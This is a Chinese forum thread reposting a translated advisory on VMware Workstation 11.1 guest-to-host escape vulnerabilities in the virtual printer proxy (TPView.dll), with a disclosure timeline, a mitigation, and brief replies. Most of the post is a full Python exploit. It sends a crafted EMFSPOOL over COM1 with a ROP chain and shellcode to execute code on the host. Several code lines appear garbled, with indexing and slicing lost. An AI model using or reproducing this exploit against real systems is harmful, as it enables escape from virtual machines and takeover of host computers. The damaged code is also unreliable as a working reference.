90_ 发表于 2015-6-10 23:48:17

通过COM1实现VMware Workstation逃逸


综述VMware Workstation提供打印机“虚拟化”功能,在打印机上,允许一Guest系统访问并打印文档(方便了Host系统)。在VMware Workstation 11.1上,虚拟打印机设备默认添加到新VMs,且在最近的 Windows Hosts上,Microsoft XPS Document Writer作为一默认打印机。即使VMware Tools没被安装在Guest中,COM1端口也可以被用于与Host的打印Proxy交互。在Host上通过vmware-vmx.exe启动vprintproxy.exe(用户开启VMware)。vmware-vmx.exe 和 vprintproxy.exe通过命名管道进行通信。当在Guest中写到COM1时,报文将止于vprintproxy.exe以进行处理。我将不介绍完协议的细节,但是打印机的虚拟化层是一很棒的文件(从Guest到Host进行EMFSPOOL文件的复制操作)。EMFSPOOL和含有的EMF1文件在Host上通过vprintproxy.exe进行处理,这都归因于Host上TPView.dll的存在。将特定设计的EMFSPOOL和EMF files提供给COM1,该过程中可在vprintproxy.exe进程的触发多种bug,并在Host上实现代码执行适用环境该文档描述的内容都在该环境进行:Host方是一amd64 Windows 8.1,Guest方是一x86 的Windows 7(在VMware Workstation 11.1下运行),装上了所有补丁。提供的所有利用程序在该独有环境都能正常工作。处理自定义EMR时导致整数下溢在TPView.dll中的CTPViewDoc::WriteEMF 函数预处理一EMF并重写它,被替换为几个自定义EMR记录类型。在0x8000和0x8002的 EMR案例中,程序将分配内存(基于特定记录的大小),然后复制记录的8字节,大小减去8并从文件中读进已动态分配的buffer(总字节数)因为一EMR记录大小严肃来说应该小于8,做减法处理将发生下溢并导致堆溢出。这小段代码不能确保记录的大小(至少8)。在(1)上发生整数下溢将使程序将大量字节读进一小buffer,导致堆溢出。一部分看似有弱点的代码处理自定义EMR 0x8000.处理自定义EMR 0x8002时存在多个弱点在自定义EMR 记录0x8002案例中,TPView.dll盲目相信相关结构体的大小和偏移并进行了不安全的memcpy()操作。这里,esi和ebx的内容都 由用户控制,并与一自定义0x8002 EMR结构体的内容相对应。为ebx分配的内存大小(至少0x50)没有被检查。这构成了导致堆溢出发生的条件,也导致相对内存地址覆盖的发生当处理自定义EMR0x8000时,存在多个弱点自定义EMR 0x8000持有一结构体(描述一被压缩镜像的JPEG2000)。在计算一动态分配的内存块大小时,存在多个整型溢出问题,使之满足了导致堆溢出的条件该程序进行了不安全的32位逻辑操作,导致在memcpy()操作前进行了一无效的大小检查,从而导致堆溢出。由于前一次逻辑操作,内存检查分配的大小是其本身(易于重叠),如下附加内容也可能重叠32位整数:在处理一JPEG2000链接库时发生栈溢出该弱点显然很像CVE-2012-0897 ,且相同JPEG2000库被使用于两种不同案例是再好不过的事,但是TPView.dll未打补丁的情况已持续了多年。总之,在处理记录0xff5c时,某用户在某函数中可触发基于栈的缓冲区溢出弱点(没有stack cookie保护),导致可直接控制EIP。这里,当目标buffer仅持有至多0xc4字节时,JPEG2000解析器将仅读取0x55fc(记录允许其)大小的字。在EMF记录枚举回调中存在多个弱点CEMF::EnhMetaFileProc 函数在TPView.dll被使用为一EnumEnhMetaFile回调,并在对它们进行“playing”操作前将一些特定处理操作应用于多种不同的EMR类型。那些记录都缺少检查从而导致多个越界读或写操作弱点。如上所示:传送操作前,在结构体区域,EMR_SMALLTEXTOUT的记录长度(至少0x34)没有被检查。这里因为一EMR_EXTTEXTOUTW记录存在相同的问题。
在EMFSPOOL文件中提取一种TrueType字体时, TPView.dll将会检验字体的校验和(在进行更多处理前)。这样做,将遍历多个表,清空表末尾的缓冲并校验表的校验和。在这情况下,将信任表记录的‘offset’区域并将其添加到一字体buffer指针。因为32位逻辑段重叠,所以没有什么可以阻止我们的解引用及将内存清零(字体前)的操作以上检查可用一“negative”偏移绕过,导致结果如下:结果,只要它被定位前,在任意字体buffer的相对位置上都可能将1清零为3字节(缓冲大小)额外安全问题当在一64位平台上运行时,vprintproxy.exe只是作为一32位进程来运行。在vprintproxy.exe内不支持ASLR机制的加载模块有:iconv.dllTPClnt.dllTPClntloc.dllTPClnVM.dllTPView.dll因为以上DLLs共享相同的镜像基地址(0x10000000),只是iconv,dll(首个被加载)将被定位于他的地址上。其它DLLs基地址将被随机化,因为它们的初始加载地址难以获得。同时JPEG2000在一try-catch内(捕获所有异常)完成解析。这将允许攻击者用他的方法强行利用成功,因为vprintproxy.exe将持续存活甚至是access violation也不崩掉缓解方案让虚拟打印机“Disconnect”,或在VM设置中将它完全移除,这行为可让vprintproxy.exe停止运行时间轴3/5/2015: initial report sent to security@vmware.com3/6/2015: VMware Security Response Center acknowledges the receipt of the report3/12/2015: updated report sent3/17/2015: VSRC sends the expected timeframe for fixes to be released3/17/2015: updated report sent3/18/2015: additional bugs sent to VSRC4/10/2015: VMware communicates expected date for joint disclosure (6/9)4/21/2015: VMware assigns 5 CVEs to the issues (CVE-2015-2336 to 2340)6/9/2015: VMware releases Workstation 11.1.1 for Windows and VMSA-2015-0004利用程序提供的利用程序可在vprintproxy.exe进程中实现代码执行(在Host上运行),通过COM1(在Guest中)以发送一段精心制作的EMFSPOOL的方式触发JPEG2000栈溢出弱点,这种实现不需要管理员特权(在Guest中)。只有构造一基于iconv.dll的ROP链有难度,因为该DLL实现该目的相当不便利用程序适用于1.9.0.1版的iconv.dll和8.8.856.1的TPview.dll,但是因为异常被JPEG2000解析程序捕获,所以可通过多次尝试让目标(弱点程序)符合要求from ctypes import *
from ctypes.wintypes import BYTE
from ctypes.wintypes import WORD
from ctypes.wintypes import DWORD
import sys
import struct
import binascii
import array
import zlib

class DCB(Structure):
      _fields_=[
          ('DCBlength',DWORD),
          ('BaudRate',DWORD),
          ('fBinary',DWORD,1),
          ('fParity',DWORD,1),
          ('fOutxCtsFlow',DWORD,1),
          ('fOutxDsrFlow',DWORD,1),
          ('fDtrControl',DWORD,2),
          ('fDsrSensitivity',DWORD,1),
          ('fTXContinueOnXoff',DWORD,1),
          ('fOutX',DWORD,1),
          ('fInX',DWORD,1),
          ('fErrorChar',DWORD,1),
          ('fNull',DWORD,1),
          ('fRtsControl',DWORD,2),
          ('fAbortOnError',DWORD,1),
          ('fDummy2',DWORD,17),
          ('wReserved',WORD),
          ('XonLim',WORD),
          ('XoffLim',WORD),
          ('ByteSize',BYTE),
          ('Parity',BYTE),
          ('StopBits',BYTE),
          ('XonChar',c_char),
          ('XoffChar',c_char),
          ('ErrorChar',c_char),
          ('EofChar',c_char),
          ('EvtChar',c_char),
          ('wReserved1',WORD),
      ]

class COMMTIMEOUTS(Structure):
      _fields_=[
          ('ReadIntervalTimeout',DWORD),
            ('ReadTotalTimeoutMultiplier',DWORD),
          ('ReadTotalTimeoutConstant',DWORD),
          ('WriteTotalTimeoutMultiplier',DWORD),
          ('WriteTotalTimeoutConstant',DWORD),
      ]

class TPVM:

      SERIAL_PORT=b'\\\\.\\COM1'

      def __init__(self):
          self.hPort=windll.kernel32.CreateFileA(self.SERIAL_PORT,
                                                   0xc0000000, #GENERIC_READ|GENERIC_WRITE
                                                   3, #FILE_SHARE_READ|FILE_SHARE_WRITE
                                                   None,
                                                   3, #OPEN_EXISTING
                                                   0,
                                                   None)
          if (self.hPort&0xffffffff)==0xffffffff:
            raise Exception('the serial   port could not be opened (0x%08x)'%(GetLastError()))
          if not windll.kernel32.SetupComm(self.hPort,
                                             0x20000,
                                             0x84d0):
            raise WinError()
          dcb=DCB()
          dcb.DCBlength=0x1c
          dcb.BaudRate=0x1C200
          dcb.fBinary=1
          dcb.fOutxCtsFlow=1
          dcb.fDtrControl=2
          dcb.fRtsControl=2
          dcb.ByteSize=8
          dcb.fAbortOnError=1
          windll.kernel32.SetCommState(self.hPort,
                                       byref(dcb))
          commtimeouts=COMMTIMEOUTS()
          commtimeouts.ReadIntervalTimeout=0
          commtimeouts.ReadTotalTimeoutMultiplier=0
          commtimeouts.ReadTotalTimeoutConstant=20000
          commtimeouts.WriteTotalTimeoutMultiplier=0
          commtimeouts.WriteTotalTimeoutConstant=20000
          if not windll.kernel32.SetCommTimeouts(self.hPort,
                                                   byref(commtimeouts)):
            raise WinError()

      def __write_packet(self,buffer):
          bytesWritten=DWORD(0)
          if not windll.kernel32.WriteFile(self.hPort,
                                             buffer,
                                             len(buffer),
                                             byref(bytesWritten),
                                             None):
            raise WinError()
          print('%d bytes written'%(bytesWritten.value))

      def __read_packet(self,n):
          buffer=c_buffer(n)
          bytesRead=DWORD(0)
          if not windll.kernel32.ReadFile(self.hPort,
                                          buffer,
                                          n,
                                          byref(bytesRead),
                                          None):
            raise WinError()
          print('%d bytes read'%(bytesRead.value))
          return buffer.raw

      def __write(self,buffer):
          while len(buffer)!=0:
            n=min(len(buffer),0x7ffd)
            self.__write_packet(struct.pack('<H',n)+buffer[:n])
            buffer=buffer

      def __read_1byte(self):
          b=self.__read_packet(1)
          if len(b)!=1:
            return 1
          return struct.unpack('<B',b)

      def do_command(self,cmd):
          self.__write_packet(struct.pack('<H',cmd))
          if cmd==0x8002:
            return 0
          return self.__read_1byte()

      def do_data(self,d):
          self.__write(d)
          return self.__read_1byte()

      def close(self):
          windll.kernel32.CloseHandle(self.hPort)

def main(args):
      #some constants
      PRINTER_ID=1 #should probably be an   argument really
      SHELLCODE=binascii.a2b_hex('e8000000005b8db31b010000568db313010000566a0268884e0d00e8170000006a008d832301000050ff931b0100006a00ff931f0100005589e55156578b4d0c8b75108b7d14ff36ff7508e813000000890783c70483c604e2ec5f5e5989ec5dc210005589e55356575164ff3530000000588b400c8b480c8b118b41306a028b7d085750e85b00000085c0740489d1ebe78b4118508b583c01d88b5878585001c38b4b1c8b53208b5b2401c101c201c38b32585001c66a01ff750c56e82300000085c0740883c20483c302ebe35831d2668b13c1e20201d10301595f5e5b89ec5dc208005589e551535231c931db31d28b45088a1080ca6001d3d1e30345108a0884c9e0ee31c08b4d0c39cb7401405a5b5989ec5dc20c00ea6f0000945d0300000000000000000063616c632e65786500')   #Didier Stevens' winexec/exitthread
      WRITABLE=0x1010ff00 #end of the   .idata section of iconv.dll
      BASE=0x40000000 #where we want the   virtualalloc

      t=TPVM()
      t.do_command(0x8001)
      #header
      t.do_data(struct.pack('<20sIIII',('%d'%(PRINTER_ID)).encode('utf-8'),2,0xd,0,0))
      #jobheader
      t.do_data(binascii.a2b_hex('310001001400150016001700180021002f0030000000000063727970746f61640050494e42414c4c57495a415244000000'))

      ###############
      #emf
      emf=b''
      #emr_header
      emf+=struct.pack('<II',1,0x84)
      emf+=struct.pack('<IIII',0xf1,0xf2,0x130b,0x1855)   #bounds
      emf+=struct.pack('<IIII',0,0,0x53fc,0x6cfc)   #frame
      emf+=b' EMF' #record signature
      emf+=struct.pack('<I',0x10000) #version
      emf+=struct.pack('<IIHH',0,0,0,0)   #bytes,records,handles,reserved
      emf+=struct.pack('<II',0xc,0x6c)   #ndescription,offdescription
      emf+=struct.pack('<I',0) #npalentries
      emf+=struct.pack('<II',0x13ec,0x19c8)   #device
      emf+=struct.pack('<II',0xd7,0x117)   #millimeters
      emf+=struct.pack('<III',0,0,1) #cbpixelformat,offpixelformat,bopengl
      emf+=struct.pack('<II',0x347d8,0x441d8)   #micrometersx,micrometersy
      emf+=('\0'*0xc).encode('utf-16le')
      #overflowing buffer
      o=b''
      o+=struct.pack('<I',0x1001c94c) #mov   eax,edx&retn
      o+=struct.pack('<I',0x10110284) #target   --.idata!_iob_func
      o+=struct.pack('<I',0x1001c594) #value   --pop ecx&pop ecx&retn
      o+=struct.pack('<I',0x100010b1) #mov   ebp,esp&push ecx& call ds:_iob_func
      o+=struct.pack('<I',0x1001c595) #pop   ecx&retn
      o+=struct.pack('<I',0x1001c594) #pop   ecx&pop ecx&retn
      o+=struct.pack('<I',0x1000cb5c) #dec   eax&retn
      o+=struct.pack('<I',0x10003d43) #add   ,edi&mov esp,ebp&pop ebp&retn
      o+=struct.pack('<I',0x10001116) #pop   ebp&retn
      o+=struct.pack('<I',WRITABLE-8)
      o+=struct.pack('<I',0x1001c120) #mov   eax,&pop ebp&retn
      o+=struct.pack('<I',0x41414141) #
      o+=struct.pack('<I',0x100010b1) #mov   ebp,esp&push ecx& call ds:_iob_func
      o+=struct.pack('<I',0x1001c595) #pop   ecx&pop ecx&retn
      o+=struct.pack('<I',0x1001c594) #pop   ecx&pop ecx&retn
      o+=struct.pack('<I',0x1001c1fc) #mov   eax,&mov ,eax&retn
      o+=struct.pack('<I',0x42424242) #
      o+=struct.pack('<I',0x1001c7d6) #pop   edi&pop esi&retn
      o+=struct.pack('<I',BASE)
      o+=struct.pack('<I',0x10000)
      o+=struct.pack('<I',0x3000) #MEM_COMMIT|MEM_RESERVE
      o+=struct.pack('<I',0x40) #PAGE_READWRITE_EXECUTE
      o+=struct.pack('<I',BASE+0x10) #edi
      o+=struct.pack('<I',0x43434343) #esi   --not used
      o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
      o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
      o+=struct.pack('<I',BASE) #
      o+=struct.pack('<I',0x8b24438b) #
      o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
      o+=struct.pack('<I',BASE+4) #
      o+=struct.pack('<I',0xa4f21470) #
      o+=struct.pack('<I',0x1001c595) #pop   ecx&retn
      o+=struct.pack('<I',BASE+8) #
      o+=struct.pack('<I',0x01f3e9) #mov   eax,&mov esi,&jmp +0x13f
      o+=struct.pack('<I',0x1000) #ecx
      o+=struct.pack('<I',BASE) #
      ###print('len(o)=0x%08x'%(len(o)))   #must be <0xc4
      o+=b'A'*(0xc4-len(o))
      o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange --first eip
      o+=struct.pack('<I',0x1001c595) #pop   ecx&retn
      o+=struct.pack('<I',WRITABLE) #target
      o+=struct.pack('<I',0x000000f4) #value   --esp offset
      o+=struct.pack('<I',WRITABLE) #writable   --edx
      o+=struct.pack('<I',0x1001c595) #pop   ecx&retn
      o+=struct.pack('<I',0x7fffffff) #
      o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
      o+=struct.pack('<I',0x1001c1e0) #__alloca_probe
      o+=struct.pack('<I',WRITABLE) #target
      o+=struct.pack('<I',0x00078c48) #.idata!VirtualAlloc-@edi
      o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
      while (len(o)-2)%6!=0: #padding to   satisfy length requirements
          o+=b'Z'
      #jp2 contents --the code still   parses the codestream if no valid header is present, so I skipped it
      j=b''
      j+=struct.pack('>H',0xff4f) #SOC   marker
      j+=struct.pack('>HH',0xff51,0x29)   #SIZ marker
      j+=struct.pack('>HIIIIIIII',0,1,9,0,0,1,9,0,0)
      j+=struct.pack('>HBBB',1,7,1,1)
      j+=struct.pack('>HH',0xff5c,3+len(o))   #QCD marker
      j+=struct.pack('>B',2) #sqcd
      for i in range(0,len(o),2): #switch   the endianness of the words
          j+=struct.pack('>H',(o<<8)+o)
      j+=struct.pack('>H',0xffd9) #EOC   marker
      j+=b'\x90'*(0x200-len(j)) #unprocessed   data
      j+=SHELLCODE
      j+=b'\xcc'*(0x10000-len(j)) #has to   be at least 10000h long to avoid a read AV
      #custom 8000h record
      r=b''
      r+=b'A'*0x28
      r+=struct.pack('<I',0x50)
      r+=b'B'*0x1c
      r+=struct.pack('<IIII',0x43434343,0x10,0x10,0x44444444)
      r+=b'E'*0x18
      r+=j
      emf+=struct.pack('<II',0x8000,len(r)+8)+r   #type,size
      #emr_eof
      emf+=struct.pack('<IIIII',0xe,0x14,0,0x10,0x14)
      emf=emf[:0x30]+struct.pack('<IIH',len(emf),3,1)+emf
      #devmode
      dm=binascii.a2b_hex('7000720069006e00740065007200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001040005dc0008040fff010001000100de0a66086400010007005802020001005802010001004c006500740074006500720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545045580f020000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010110141e000e1464000614f401060f00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005450504405000000')
      dm=b'%%EMF'+struct.pack('<BI',2,len(dm)+5)+dm
      #emf_spool
      h=struct.pack('<II',0x10,0)+'Google\0'.encode('utf-16le')+struct.pack('<HII',0xdead,0xc,len(emf))
      h=struct.pack('<II',0x10000,len(h))+h
      #emri_metafile_ext
      f=struct.pack('<IIII',0xd,8,len(emf)+8,0)   #"offset is counted backward"
      e=dm+h+emf+f
      d=zlib.compress(e,9)
      d=struct.pack('<II',len(d),len(e))+d
      d=struct.pack('<H',0)+d
      ###############
      t.do_data(d)
      t.do_command(0x8002)
      t.close()

if __name__=='__main__':
      main(sys.argv)原文链接:https://docs.google.com/document/d/1sIYgqrytPK-CFWfqDntraA_Fwi2Ov-YBgMtl5hdrYd4/

huc巫山 发表于 2015-6-11 21:28:25

卧槽,看不懂,好高端,是大牛

中国之利刃 发表于 2015-6-14 09:51:18

看来。。玩win Exp不学汇编 就是白痴。。

我叫齐齐 发表于 2015-6-14 12:46:29

:(:D:D:D:D

小路 发表于 2015-6-27 04:50:42

加油!干倒冰儿和酒仙!

a136 发表于 2015-6-27 06:18:48

还是不错的哦,顶了

08-wh 发表于 2015-6-27 08:06:11

感谢楼主的分享~

CHRIS 发表于 2015-6-27 12:19:39

还是不错的哦,顶了

Micah 发表于 2015-6-27 19:34:49

支持,看起来不错呢!

54hacker 发表于 2015-6-27 20:03:01

页: [1]
查看完整版本: 通过COM1实现VMware Workstation逃逸